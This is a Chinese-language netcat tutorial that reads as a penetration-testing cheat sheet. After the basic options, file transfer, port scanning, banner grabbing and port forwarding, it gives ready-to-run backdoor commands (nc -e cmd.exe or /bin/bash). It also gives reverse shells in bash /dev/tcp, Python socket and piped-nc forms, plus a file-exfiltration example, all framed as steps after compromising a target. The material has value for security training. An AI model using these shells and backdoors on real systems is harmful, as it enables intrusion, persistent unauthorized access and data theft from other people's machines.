基础使用方法
使用帮助:
选项 | 是否有“选项值” | 说明 |
---|---|---|
h | NO | 输出 nc 的帮助 |
v | NO | 在网络通讯时,显示详细的输出信息。注:建议新手多用该选项,出错时帮你诊断问题 |
n | NO | 对命令行中的“主机”,【不】进行域名解析。注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;如果“主机”是“域名”形式,【不能】用该选项 |
p | YES | 指定“端口号” |
l | NO | 开启“监听模式”,nc 作为【服务端】。注:如不加该选项,nc 默认作为客户端 |
u | NO | 使用 UDP 协议。注:如不加该选项,默认是 TCP 协议 |
w | YES | 设置连接的超时间隔(N 秒) |
q | YES | 让 nc 延时(N 秒)再退出 |
z | NO | 开启“zero-I/O 模式”。注:该选项仅用于“端口扫描”,后面会聊到 |
k | NO | 配合 -l 选项使用,可以重复接受客户端连接。注:“原版 nc”的该选项用来开启“TCP keepalive”。这是“原版 nc”与“OpenBSD 变种”之间的差异之一 |
X | YES | 指定代理的类型(具体用法,后面会聊到)。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一 |
x | YES | 以 IP:port 的格式指定代理的位置。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一 |
e | YES | 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】。注:通常用该选项开启一个网络后门。“OpenBSD 变种”基于安全考虑,已去掉该选项,但还是能用间接的方式达到同样的效果。 |
创建一个服务端方法:
nc -l -p [localport]
创建一个客户端方法(连接服务端):
nc [remote_addr] [remoteport]
这里仅仅实现了一个简单的通信系统,并不能对机器进行命令执行。
返回shell的使用
创建一个服务端的方法:
nc -l -p [localport] -e cmd.exe #windows
nc -l -p [localport] -e /bin/bash #linux
创建客户端方法(连接服务器): 要想连接到服务器记得开放了端口!
nc [remote_addr] [remoteport]
这里能实现一个返回shell的通信。
开放端口、关闭端口:
ufw allow 4444
ufw deny 4444
netcat文件传输
应用场景
1.取证
当目标机器被黑客攻击之后,取证人员可用利用nc
的文件传输功能来获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证误差。
2.单纯获取目标机器敏感文件
当目标机器上有一些文件内容,无法正常下载时,可用利用nc
进行文件传输。
传输原理
nc中的数据传输,使用的是标准的输入、输出流,所以可用直接利用命令行来进行操作。
使用方法
创建一个服务端方法:
nc -l -p [localport] > outfile
root@localhost:~# nc -l -p 4444 > outfile
创建一个客户端方法(连接服务端):
nc [remote_addr] [remoteport] < infile
root@010:~# nc 192.168.78.129 4444 < /var/flag.txt
root@localhost:~# cat outfile
flag{this_is_flag}
这就实现了客户端向服务端发送文件。
nc -l -p [localport] < infile
root@localhost:~# nc -l -p 4444 < /var/flag.txt
nc [remote_addr] [remoteport] > outfile
root@010:~# nc 192.168.78.129 4444 > outfile
root@010:~# cat outfile
flag{this_is_flag_2}
这又实现了服务端向客户端传输数据。
注意: 如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,直到连接上服务端,造成一种假死状态。
解决方法:
nc -w3 [ip] [port]
设置等待3秒,超过3秒,客户端直接关闭等待连接。
netcat信息探测
使用场景
1.目标内网的扫描
当获得目标权限后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat的话,就可以使用netcat进行内网IP和端口的扫描。
2.单纯对某个目标进行端口探测
当手头没有任何探测工具可以使用netcat进行端口探测。
3.对目标的服务banner进行抓取
通过netcat对目标端口进行探测。
使用命令行
nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
- -v 表示对错误进行详细输出。
- -n 不对目标机器进行DNS解析。
- -z zero I/O 模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做可以加快扫描的速度。
- -w1 超时1秒,即关闭等待连接。
扫描:
banner抓取使用方法
echo " " | nc -v -n -w1 [target_ip] [start_target_port-stop_target_port]
抓取某目标机1-1000端口的banner信息:
echo " " | nc -v -n -w1 192.168.78.129 1-1000
netcat建立后门
使用场景
1.获取目标的命令执行权限
当目标机器上存在netcat之后,可以使用netcat建立后门,来实现目标执行的功能。
原理
netcat一切数据是通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门建立,并传输结果信息。
Windows建立后门方法
- 监听型后门
nc -l -p 4444 -e cmd.exe
- 连接型后门
nc [remote_ip] [remote_port] -e cmd.exe
无论哪种后门,都需要使用-e cmd.exe
来返回对应的cmd.exe。
Linux建立后门方法
- 监听型后门
nc -l -p 4444 -e /bin/bash
- 连接型后门
nc [remote_ip] [remote_port] -e /bin/bash
netcat连接转发
echo nc [target] [port] > delpay.bat
nc -l -p [localport] -e deply.bat
delpay内容:
nc64.exe 192.168.78.129 4445
当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port上,实现了连接转发功能。(端口转发)
实验:端口转发
Kali1:192.168.78.129
Kali2:192.168.78.131
背景:192.168.78.131的用户要访问192.168.78.129的4445端口,但是该端口被防火墙保护着,不允许外界机器访问。而192.168.78.131可以访问到192.168.78.129的4444端口。
目标:192.168.78.131通过访问192.168.78.129的4444端口,达到访问4445端口的目的。
1.在192.168.78.129端口上监听4445端口:
nc -l -p 4445
2.在192.168.78.129上实现4444端口转发:
cat /var/test | nc localhost 4445 | nc -l -p 4444 > /var/test
3.在192.168.78.131上连接192.168.78.129的4444端口:
nc 192.168.78.129 4444
可以看到成功的使其与4445端口连接,而连接的为4444端口。
netcat反弹shell(bash)
应用场景
某些拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat时。
基础介绍
反弹shell命令:
bash -i >& /dev/tcp/ip/port 0>&1
PC接收netcat命令:
nc -lvp port
命令解释介绍
bash -i >& /dev/tcp/ip/port 0>&1
在命令中bash -i
表示已交互模式运行bash shell
。重定向符>&
,如果在其后加文件描述符,是将bash -i
交互 模式传递给文件描述符,而如果其后面是文件,则将bash -i
交互模式传递给文件。/dev/tcp/ip/port
表示传递给远程主机的IP地址对应的端口。
文件描述符:0 标准输入、1 标准输出、2 错误输入输出。
命令行中0>&1
表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。
netcat反弹shell(python)
应用场景
某些拿到服务器权限之后,想要设置一个反弹shell。但是目标服务器上没有安装netcat时,但是安装了python。(Linux上一般会安装python)
基础介绍
反弹shell命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
PC接收netcat命令:
nc -lvp port
命令解释
首先使用socket与远程建立连接,具有了远程的文件描述符,可以使用s.fileno()
来查看具体套接字建立的远程文件描述符。
os库的dup2
方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess
在本地开启了一个子进程,传入参数-i
使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell。
netcat反弹shell(不支持 nc -e)
应用场景
某些拿到服务器权限之后,想要设置一个反弹shell。当时因为配置原因不支持-e参数。
基础介绍
反弹shell:
nc ip port | /bin/bash | nc ip port
连接攻击机的4444端口,将传递过来的命令交给/bin/bash
执行然后将结果返回到4445端口。
PC接收netcat命令,想要启动两个监听端口:
nc -lvp port
命令解释
在攻击测试机器上开启两个 nc 进行监听,其中一个作为输入,另一个作为输出。目标机器上 使用管道来重新定向输入输出。
这里在4444端口输入的命令,会在4445端口处显示。